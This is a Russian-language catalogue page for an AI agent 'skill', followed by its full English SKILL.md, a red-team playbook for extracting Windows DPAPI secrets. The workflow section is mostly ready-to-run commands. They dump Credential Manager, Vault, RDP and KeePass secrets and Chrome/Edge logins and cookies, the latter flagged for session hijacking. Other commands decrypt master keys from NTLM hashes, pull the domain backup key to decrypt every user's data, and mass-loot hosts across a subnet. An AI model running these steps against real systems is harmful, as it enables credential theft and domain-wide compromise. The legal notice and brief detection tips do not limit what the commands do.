К основному содержанию
скилл CX Codex

abusing-dpapi-for-credential-access — скилл для Claude Code

Руководство по извлечению секретов Windows DPAPI: сохранённых паролей Credential Manager, кук браузеров и ключей. Пригодится на пентестах после получения доступа к хосту.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill abusing-dpapi-for-credential-access -a claude-code
Открыть на GitHub

Что делает abusing-dpapi-for-credential-access

Скилл описывает техники извлечения секретов через Windows Data Protection API (DPAPI) по матрице MITRE ATT&CK T1555.004. DPAPI защищает пароли RDP, учётные данные Credential Manager, сессии браузеров Chrome и Edge, а также ключи KeePass. В материале разобраны три пути расшифровки: онлайн через контекст текущего пользователя с помощью CryptUnprotectData, офлайн по NTLM-хэшу или паролю пользователя, а также на уровне всего домена Active Directory через резервный RSA-ключ (.pvk).

Для работы скилла на целевой системе обязателен авторизованный доступ и знание SID целевого пользователя. Для сбора и триажа применяется SharpDPAPI с ключом /unprotect, а для дампов из браузеров — SharpChrome. Если хост на Linux разбирает выгруженные блобы, инструкция подключает утилиты Impacket dpapi.py или DonPAPI, которые ставятся через pipx.

Инструмент требует явных прав администратора домена для извлечения бэкап-ключа, поэтому в обычной сессии доменный ключ получить не выйдет.

Какие задачи решает

  • расшифровать сохранённые пароли Windows Credential Manager и Credential Vault
  • извлечь пароли и сессионные куки Chrome и Edge через SharpChrome
  • провести триаж блобов DPAPI на машине онлайн или офлайн
  • восстановить мастер-ключи пользователя по NTLM-хэшу

Примеры запросов агенту

  • Покажи команды SharpDPAPI для офлайн-расшифровки мастер-ключей пользователя через NTLM-хэш
  • Как с помощью Impacket dpapi.py разобрать выгруженную папку Protect на Linux?
  • Составь план аудита DPAPI и извлечения секретов Credential Vault с помощью SharpDPAPI

Как установить abusing-dpapi-for-credential-access

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill abusing-dpapi-for-credential-access -a claude-code

2Вручную: положить файлы

~/.claude/skills/abusing-dpapi-for-credential-access/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/abusing-dpapi-for-credential-access/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о abusing-dpapi-for-credential-access

Как установить abusing-dpapi-for-credential-access в Claude Code?

Выполните в терминале команду npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill abusing-dpapi-for-credential-access -a claude-code.

Что делает скилл abusing-dpapi-for-credential-access?

Он предоставляет алгоритмы и команды для поиска, экспорта и расшифровки секретов DPAPI в Windows. Инструкции охватывают утилиты SharpDPAPI, SharpChrome, Mimikatz и Impacket.

Что требуется для расшифровки секретов DPAPI?

Нужен доступ к хосту, SID пользователя и один из элементов: активная пользовательская сессия, пароль, NTLM-хэш или права Domain Admin для резервного ключа домена.

Исходный текст

SKILL.md · Apache-2.0
---
name: abusing-dpapi-for-credential-access
description: Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- credential-access
- dpapi
- sharpdpapi
- post-exploitation
- active-directory
- windows
- mimikatz
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.CM-01
mitre_attack:
- T1555.004
---
# Abusing DPAPI for Credential Access

> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.

## Overview

The Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual "DPAPI blobs." The encrypted master keys live under `%APPDATA%\Microsoft\Protect\<SID>\` (user) and `%WINDIR%\System32\Microsoft\Protect\` (machine).

Red teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:

1. **Online / context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `/unprotect` flag uses this.
2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `/password:` or `/ntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).
3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `/pvk:`.

The canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote/offline triage.

## When to Use

- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.
- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.
- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.
- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.
- During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.

## Prerequisites

- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.
- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.
- Tooling (compile from source or use release binaries; obtain only from official upstreams):

```bash
# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Open SharpDPAPI.sln and build Release, or:
msbuild SharpDPAPI.sln /p:Configuration=Release

# Mimikatz (original DPAPI implementation)
# https://github.com/gentilkiwi/mimikatz/releases

# Linux remote/offline triage (Impacket)
pipx install impacket            # provides dpapi.py / impacket-dpapi
pipx install donpapi             # https://github.com/login-securite/DonPAPI
```

## Objectives

- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.
- Decrypt user master keys online (`/unprotect`), with a password/hash, or with the domain backup key.
- Recover plaintext Credential Manager and Vault secrets.
- Extract browser saved logins and cookies with SharpChrome.
- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.

## MITRE ATT&CK Mapping

| Technique ID | Name | Tactic | Relevance |
|--------------|------|--------|-----------|
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials. |
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys. |
| T1003 | OS Credential Dumping | Credential Access | Extracting master keys / backup keys is a form of credential material dumping. |

## Workflow

### 1. Triage the host for DPAPI blobs

Run the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:

```powershell
# Online triage in the current user's context (uses CryptUnprotectData)
SharpDPAPI.exe triage /unprotect

# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs
SharpDPAPI.exe machinetriage
```

### 2. Decrypt user master keys offline (password or NTLM hash)

If you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:

```powershell
# Decrypt all of the current/specified user's master keys with the password
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

# Decrypt master keys with the user's NTLM hash instead of the password
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

# Output is GUID:SHA1 lines — feed them to credentials/vaults commands
```

### 3. Recover Credential Manager and Vault secrets

Use the decrypted master-key mapping (or `/pvk:`) to decrypt the stored credentials and vault entries:

```powershell
# Decrypt Credential Manager blobs with a GUID:SHA1 mapping
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# Or point at a target Credentials folder and decrypt with the domain backup key
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

# Decrypt Credential Vault entries
SharpDPAPI.exe vaults /pvk:backupkey.pvk
```

### 4. Decrypt RDP, KeePass, and certificate secrets

```powershell
# Saved RDCMan.settings RDP passwords (current user context)
SharpDPAPI.exe rdg /unprotect

# KeePass DPAPI-protected master keys
SharpDPAPI.exe keepass /unprotect

# Certificate private keys (export usable .pem with /showall for all stores)
SharpDPAPI.exe certificates /unprotect /showall
```

### 5. Extract browser credentials with SharpChrome

SharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound "state key" that SharpChrome resolves via DPAPI:

```powershell
# Decrypt saved logins for the current user
SharpChrome.exe logins /unprotect

# Decrypt cookies (useful for session hijacking) in a target folder
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

# Resolve the AES state key explicitly
SharpChrome.exe statekeys /unprotect
```

### 6. Obtain the domain DPAPI backup key (Domain Admin)

With Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:

```powershell
# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
```

Then decrypt any user's master keys offline with it:

```powershell
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
```

### 7. Remote / Linux-based triage (Impacket / DonPAPI)

From a Linux operator box, harvest and decrypt DPAPI secrets across hosts:

```bash
# Decrypt a single masterkey file with Impacket using the domain backup key
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk

# Decrypt a credential blob with the recovered masterkey
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>

# Mass remote DPAPI looting across hosts with DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
```

## Tools and Resources

| Tool | Purpose | Link |
|------|---------|------|
| SharpDPAPI | Windows DPAPI triage/decryption (C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Chromium logins/cookies/state-key decryption | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | Remote/offline DPAPI decryption (Python) | https://github.com/fortra/impacket |
| DonPAPI | Mass remote DPAPI looting | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | Technique reference | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |

## Detection and OPSEC Notes

- Master-key access and reads of `\Microsoft\Protect\` and `\Microsoft\Credentials\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.
- The `/unprotect` (online) path is the stealthiest single-host option but only works as the live user.
- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).

## Validation Criteria

- [ ] Host triaged with `SharpDPAPI triage` / `machinetriage`.
- [ ] User master keys decrypted via `/unprotect`, `/password:`, `/ntlm:`, or `/pvk:`.
- [ ] Credential Manager and Vault secrets recovered.
- [ ] RDP / KeePass / certificate secrets extracted where present.
- [ ] Browser logins/cookies decrypted with SharpChrome.
- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.
- [ ] All recovered secrets documented with source host/user and ROE adherence confirmed.

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Похожие скиллы

Всё по теме «Безопасность» →
credential-scanner UseAI-pro Сканирует проект на открытые ключи и пароли до того, как скилл с доступом к файлам их прочитает. CX Codex +1 538установок the-fool https://github.com/Jeffallan Скилл устраивает стресс-тест архитектурным планам, идеям и коду через пять режимов критики. Помогает найти слабые места и скрытые допущения до начала реализации. CX Codex +1 4 400установок hack yaklang Направляет агента при авторизованном пентесте, аудите кода и расследовании инцидентов. Задаёт жёсткие рамки безопасности и проверяет разрешения до начала тестов. CX Codex +1 4 300установок red-team Alireza Rezvani Скилл для структурированного планирования авторизованных операций красной команды: анализ цепочек атак по MITRE ATT&CK, оценка техник, выявление критических точек и оценка рисков OPSEC. 826установок thinking-red-team tjboudreaux Скилл для авторизованного разбора безопасности: моделирует атакующего, ищет пути эксплуатации и проверяет, что предложенное исправление закрывает дыру. CX Codex +1 669установок red-team-engagement briiirussell Скилл помогает спланировать и провести авторизованную симуляцию атак red team для проверки защиты. Пригодится при составлении правил engagement, сценариев assumed-breach и деконфликтации. CX Codex +1 336установок

Из того же набора89

analyzing-linux-elf-malware Скилл для разбора подозрительных Linux-бинарников: статика, трассировка, дизассемблирование. Пригодится при разборе взломанного сервера или контейнера. CX Codex +1 457установок analyzing-disk-image-with-autopsy Помогает исследовать дампы дисков в форматах raw, E01 или AFF через Autopsy и The Sleuth Kit. Пригодится для восстановления удалённых файлов и подготовки таймлайна инцидента. CX Codex +1 454установок analyzing-kubernetes-audit-logs Разбирает audit-логи kube-apiserver в формате JSON lines и находит exec в под, чтение секретов, правки RBAC и анонимный доступ. CX Codex +1 450установок analyzing-sbom-for-supply-chain-vulnerabilities Разбирает SBOM в форматах CycloneDX и SPDX, сверяет компоненты с базой CVE через NVD 2.0 API и строит граф зависимостей. Пригодится, когда нужно оценить риски сторонних библиотек. CX Codex +1 444установок analyzing-linux-kernel-rootkits Скилл ищет признаки руткитов уровня ядра в дампах памяти Linux и на работающей системе. Пригодится для расследований и форензики. CX Codex +1 442установок analyzing-golang-malware-with-ghidra Разбирает Go-бинарники в Ghidra: достаёт buildinfo, pclntab, имена функций и зависимости. Нужен при анализе образца, собранного на Go. CX Codex +1 441установок analyzing-network-packets-with-scapy Скилл направляет анализ сетевых пакетов через Scapy: от разбора pcap до поиска аномального трафика. Нужен для авторизованного тестирования и сетевой криминалистики. CX Codex +1 441установок analyzing-ios-app-security-with-objection Скилл для runtime-тестирования iOS-приложений через Objection и Frida: дамп keychain, обход SSL pinning, проверка защиты от джейлбрейка. CX Codex +1 436установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой